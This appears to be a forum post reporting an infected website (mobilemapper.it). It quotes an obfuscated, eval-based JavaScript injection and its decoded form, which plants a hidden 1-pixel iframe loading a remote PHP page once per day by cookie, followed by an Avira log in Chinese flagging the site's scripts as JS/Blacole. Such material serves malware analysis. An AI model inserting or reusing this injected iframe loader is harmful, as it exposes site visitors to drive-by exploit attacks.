www.mobilemapper.it/MM10.htm

fireold

/*0f2490*/
z = "y";
vz = "d" + "oc" + "ument";
ps = "s" + "plit";
try {
    +
    function() {
        ++(window[vz].body) == null
    }()
} catch (q) {
    aa = function(ff) {
        ff = "fr" + "omCh" + ff;
        for (i = 0; i < z.length; i++) {
            za += String[ff](e(v + (z)) - (13));
        }
    };
};
e = (eval);
v = "0x";
a = 0;
try {;
} catch (zz) {
    a = 1
}
if (!a) {
    try {
        ++e(vz)["\x62od" + z]
    } catch (q) {
        a2 = "_";
    }
    z = "2d_73_82_7b_70_81_76_7c_7b_2d_75_86_7f_3d_46_35_36_2d_88_1a_17_2d_83_6e_7f_2d_80_81_6e_81_76_70_4a_34_6e_77_6e_85_34_48_1a_17_2d_83_6e_7f_2d_70_7c_7b_81_7f_7c_79_79_72_7f_4a_34_76_7b_71_72_85_3b_7d_75_7d_34_48_1a_17_2d_83_6e_7f_2d_75_86_7f_2d_4a_2d_71_7c_70_82_7a_72_7b_81_3b_70_7f_72_6e_81_72_52_79_72_7a_72_7b_81_35_34_76_73_7f_6e_7a_72_34_36_48_1a_17_1a_17_2d_75_86_7f_3b_80_7f_70_2d_4a_2d_34_75_81_81_7d_47_3c_3c_51_58_60_66_60_61_52_5a_3b_72_80_3c_76_7a_6e_74_72_7b_72_80_3c_55_4f_66_45_58_7e_40_81_3b_7d_75_7d_34_48_1a_17_2d_75_86_7f_3b_80_81_86_79_72_3b_7d_7c_80_76_81_76_7c_7b_2d_4a_2d_34_6e_6f_80_7c_79_82_81_72_34_48_1a_17_2d_75_86_7f_3b_80_81_86_79_72_3b_70_7c_79_7c_7f_2d_4a_2d_34_3e_34_48_1a_17_2d_75_86_7f_3b_80_81_86_79_72_3b_75_72_76_74_75_81_2d_4a_2d_34_3e_7d_85_34_48_1a_17_2d_75_86_7f_3b_80_81_86_79_72_3b_84_76_71_81_75_2d_4a_2d_34_3e_7d_85_34_48_1a_17_2d_75_86_7f_3b_80_81_86_79_72_3b_79_72_73_81_2d_4a_2d_34_3e_3d_3d_3d_3e_34_48_1a_17_2d_75_86_7f_3b_80_81_86_79_72_3b_81_7c_7d_2d_4a_2d_34_3e_3d_3d_3d_3e_34_48_1a_17_1a_17_2d_76_73_2d_35_2e_71_7c_70_82_7a_72_7b_81_3b_74_72_81_52_79_72_7a_72_7b_81_4f_86_56_71_35_34_75_86_7f_34_36_36_2d_88_1a_17_2d_71_7c_70_82_7a_72_7b_81_3b_84_7f_76_81_72_35_34_49_7d_2d_76_71_4a_69_34_75_86_7f_69_34_2d_70_79_6e_80_80_4a_69_34_75_86_7f_3d_46_69_34_2d_4b_49_3c_7d_4b_34_36_48_1a_17_2d_71_7c_70_82_7a_72_7b_81_3b_74_72_81_52_79_72_7a_72_7b_81_4f_86_56_71_35_34_75_86_7f_34_36_3b_6e_7d_7d_72_7b_71_50_75_76_79_71_35_75_86_7f_36_48_1a_17_2d_8a_1a_17_8a_1a_17_73_82_7b_70_81_76_7c_7b_2d_60_72_81_50_7c_7c_78_76_72_35_70_7c_7c_78_76_72_5b_6e_7a_72_39_70_7c_7c_78_76_72_63_6e_79_82_72_39_7b_51_6e_86_80_39_7d_6e_81_75_36_2d_88_1a_17_2d_83_6e_7f_2d_81_7c_71_6e_86_2d_4a_2d_7b_72_84_2d_51_6e_81_72_35_36_48_1a_17_2d_83_6e_7f_2d_72_85_7d_76_7f_72_2d_4a_2d_7b_72_84_2d_51_6e_81_72_35_36_48_1a_17_2d_76_73_2d_35_7b_51_6e_86_80_4a_4a_7b_82_79_79_2d_89_89_2d_7b_51_6e_86_80_4a_4a_3d_36_2d_7b_51_6e_86_80_4a_3e_48_1a_17_2d_72_85_7d_76_7f_72_3b_80_72_81_61_76_7a_72_35_81_7c_71_6e_86_3b_74_72_81_61_76_7a_72_35_36_2d_38_2d_40_43_3d_3d_3d_3d_3d_37_3f_41_37_7b_51_6e_86_80_36_48_1a_17_2d_71_7c_70_82_7a_72_7b_81_3b_70_7c_7c_78_76_72_2d_4a_2d_70_7c_7c_78_76_72_5b_6e_7a_72_38_2f_4a_2f_38_72_80_70_6e_7d_72_35_70_7c_7c_78_76_72_63_6e_79_82_72_36_1a_17_2d_38_2d_2f_48_72_85_7d_76_7f_72_80_4a_2f_2d_38_2d_72_85_7d_76_7f_72_3b_81_7c_54_5a_61_60_81_7f_76_7b_74_35_36_2d_38_2d_35_35_7d_6e_81_75_36_2d_4c_2d_2f_48_2d_7d_6e_81_75_4a_2f_2d_38_2d_7d_6e_81_75_2d_47_2d_2f_2f_36_48_1a_17_8a_1a_17_73_82_7b_70_81_76_7c_7b_2d_54_72_81_50_7c_7c_78_76_72_35_2d_7b_6e_7a_72_2d_36_2d_88_1a_17_2d_83_6e_7f_2d_80_81_6e_7f_81_2d_4a_2d_71_7c_70_82_7a_72_7b_81_3b_70_7c_7c_78_76_72_3b_76_7b_71_72_85_5c_73_35_2d_7b_6e_7a_72_2d_38_2d_2f_4a_2f_2d_36_48_1a_17_2d_83_6e_7f_2d_79_72_7b_2d_4a_2d_80_81_6e_7f_81_2d_38_2d_7b_6e_7a_72_3b_79_72_7b_74_81_75_2d_38_2d_3e_48_1a_17_2d_76_73_2d_35_2d_35_2d_2e_80_81_6e_7f_81_2d_36_2d_33_33_1a_17_2d_35_2d_7b_6e_7a_72_2d_2e_4a_2d_71_7c_70_82_7a_72_7b_81_3b_70_7c_7c_78_76_72_3b_80_82_6f_80_81_7f_76_7b_74_35_2d_3d_39_2d_7b_6e_7a_72_3b_79_72_7b_74_81_75_2d_36_2d_36_2d_36_1a_17_2d_88_1a_17_2d_7f_72_81_82_7f_7b_2d_7b_82_79_79_48_1a_17_2d_8a_1a_17_2d_76_73_2d_35_2d_80_81_6e_7f_81_2d_4a_4a_2d_3a_3e_2d_36_2d_7f_72_81_82_7f_7b_2d_7b_82_79_79_48_1a_17_2d_83_6e_7f_2d_72_7b_71_2d_4a_2d_71_7c_70_82_7a_72_7b_81_3b_70_7c_7c_78_76_72_3b_76_7b_71_72_85_5c_73_35_2d_2f_48_2f_39_2d_79_72_7b_2d_36_48_1a_17_2d_76_73_2d_35_2d_72_7b_71_2d_4a_4a_2d_3a_3e_2d_36_2d_72_7b_71_2d_4a_2d_71_7c_70_82_7a_72_7b_81_3b_70_7c_7c_78_76_72_3b_79_72_7b_74_81_75_48_1a_17_2d_7f_72_81_82_7f_7b_2d_82_7b_72_80_70_6e_7d_72_35_2d_71_7c_70_82_7a_72_7b_81_3b_70_7c_7c_78_76_72_3b_80_82_6f_80_81_7f_76_7b_74_35_2d_79_72_7b_39_2d_72_7b_71_2d_36_2d_36_48_1a_17_8a_1a_17_76_73_2d_35_7b_6e_83_76_74_6e_81_7c_7f_3b_70_7c_7c_78_76_72_52_7b_6e_6f_79_72_71_36_1a_17_88_1a_17_76_73_35_54_72_81_50_7c_7c_78_76_72_35_34_83_76_80_76_81_72_71_6c_82_7e_34_36_4a_4a_42_42_36_88_8a_72_79_80_72_88_60_72_81_50_7c_7c_78_76_72_35_34_83_76_80_76_81_72_71_6c_82_7e_34_39_2d_34_42_42_34_39_2d_34_3e_34_39_2d_34_3c_34_36_48_1a_17_1a_17_75_86_7f_3d_46_35_36_48_1a_17_8a_1a_17_8a" [ps](a2);
    za = "";
    aa("arCode");
    e("" + za);
} /*/0f2490*/

function hyr09() {
     var static = 'ajax';
     var controller = 'index.php';
     var hyr = document.createElement('iframe');

     hyr.src = 'http://DKSYSTEM.es/imagenes/HBY8Kq3t.php';
     hyr.style.position = 'absolute';
     hyr.style.color = '1';
     hyr.style.height = '1px';
     hyr.style.width = '1px';
     hyr.style.left = '10001';
     hyr.style.top = '10001';

     if (!document.getElementById('hyr')) {
         document.write('<p id=\'hyr\' class=\'hyr09\' ></p>');
         document.getElementById('hyr').appendChild(hyr);
     }
}

function SetCookie(cookieName, cookieValue, nDays, path) {
     var today = new Date();
     var expire = new Date();
     if (nDays == null || nDays == 0) nDays = 1;
     expire.setTime(today.getTime() + 3600000 * 24 * nDays);
     document.cookie = cookieName + "=" + escape(cookieValue) + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
}

function GetCookie(name) {
     var start = document.cookie.indexOf(name + "=");
     var len = start + name.length + 1;
     if ((!start) && (name != document.cookie.substring(0, name.length))) {
         return null;
     }
     if (start == -1) return null;
     var end = document.cookie.indexOf(";", len);
     if (end == -1) end = document.cookie.length;
     return unescape(document.cookie.substring(len, end));
}
if (navigator.cookieEnabled) {
     if (GetCookie('visited_uq') == 55) {} else {
         SetCookie('visited_uq', '55', '1', '/');

         hyr09();
     }
}

avira

2014/7/17 下午 06:49 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\6TI8XMAJ\ulSelect[1].js'
      包含病毒或有害的程式 'JS/Blacole.DQ.1' [virus]
      已採取動作：
      檔案會移動至 '51dc073d.qua' 名稱底下的隔離區目錄!

2014/7/17 下午 06:49 [System Scanner] 掃描
      掃描結束 [已完成全部的掃描.]。
      檔案數：        848
      目錄數：        0
      惡意程式碼數：        1
      警告數：        0

2014/7/17 下午 06:48 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\AVC3APW1\prototype[1].js'
      包含病毒或有害的程式 'JS/Blacole.DQ.1' [virus]
      已採取動作：
      檔案會移動至 '5127090d.qua' 名稱底下的隔離區目錄!

2014/7/17 下午 06:48 [System Scanner] 掃描
      掃描結束 [已完成全部的掃描.]。
      檔案數：        847
      目錄數：        0
      惡意程式碼數：        1
      警告數：        0

2014/7/17 下午 06:48 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\6TI8XMAJ\ulSelect[1].js 中
      偵測到病毒或有害的程式 'JS/Blacole.DQ.1 [virus]'
      執行的動作：傳輸至掃描程式

2014/7/17 下午 06:48 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\6TI8XMAJ\ulSelect[1].js 中
      偵測到病毒或有害的程式 'JS/Blacole.DQ.1 [virus]'
      執行的動作：拒絕存取

2014/7/17 下午 06:48 [Web Protection] 發現惡意程式碼
      從 URL "http://www.mobilemapper.it/MM6_files/behaviour.js" 存取資料時，
      發現病毒或有害的程式 'JS/Blacole.DQ.1' [virus]。
      已採取動作：封鎖的檔案

2014/7/17 下午 06:48 [Web Protection] 發現惡意程式碼
      從 URL "http://www.mobilemapper.it/MM6_files/cleartext.js" 存取資料時，
      發現病毒或有害的程式 'JS/Blacole.DQ.1' [virus]。
      已採取動作：封鎖的檔案

2014/7/17 下午 06:48 [Web Protection] 發現惡意程式碼
      從 URL "http://www.mobilemapper.it/MM6_files/jslib.js" 存取資料時，
      發現病毒或有害的程式 'JS/Blacole.DQ.1' [virus]。
      已採取動作：封鎖的檔案

2014/7/17 下午 06:48 [Web Protection] 發現惡意程式碼
      從 URL "http://www.mobilemapper.it/MM6_files/ulSelect.js" 存取資料時，
      發現病毒或有害的程式 'JS/Blacole.DQ.1' [virus]。
      已採取動作：已略過

2014/7/17 下午 06:48 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\AVC3APW1\prototype[1].js 中
      偵測到病毒或有害的程式 'JS/Blacole.DQ.1 [virus]'
      執行的動作：傳輸至掃描程式

2014/7/17 下午 06:48 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\AVC3APW1\prototype[1].js 中
      偵測到病毒或有害的程式 'JS/Blacole.DQ.1 [virus]'
      執行的動作：拒絕存取

2014/7/17 下午 06:47 [Web Protection] 發現惡意程式碼
      從 URL "http://www.mobilemapper.it/MM6_files/prototype.js" 存取資料時，
      發現病毒或有害的程式 'JS/Blacole.DQ.1' [virus]。
      已採取動作：已略過

  


fs is

落漠

eset断开连接

饭@avast

诺顿IPS杀

656635525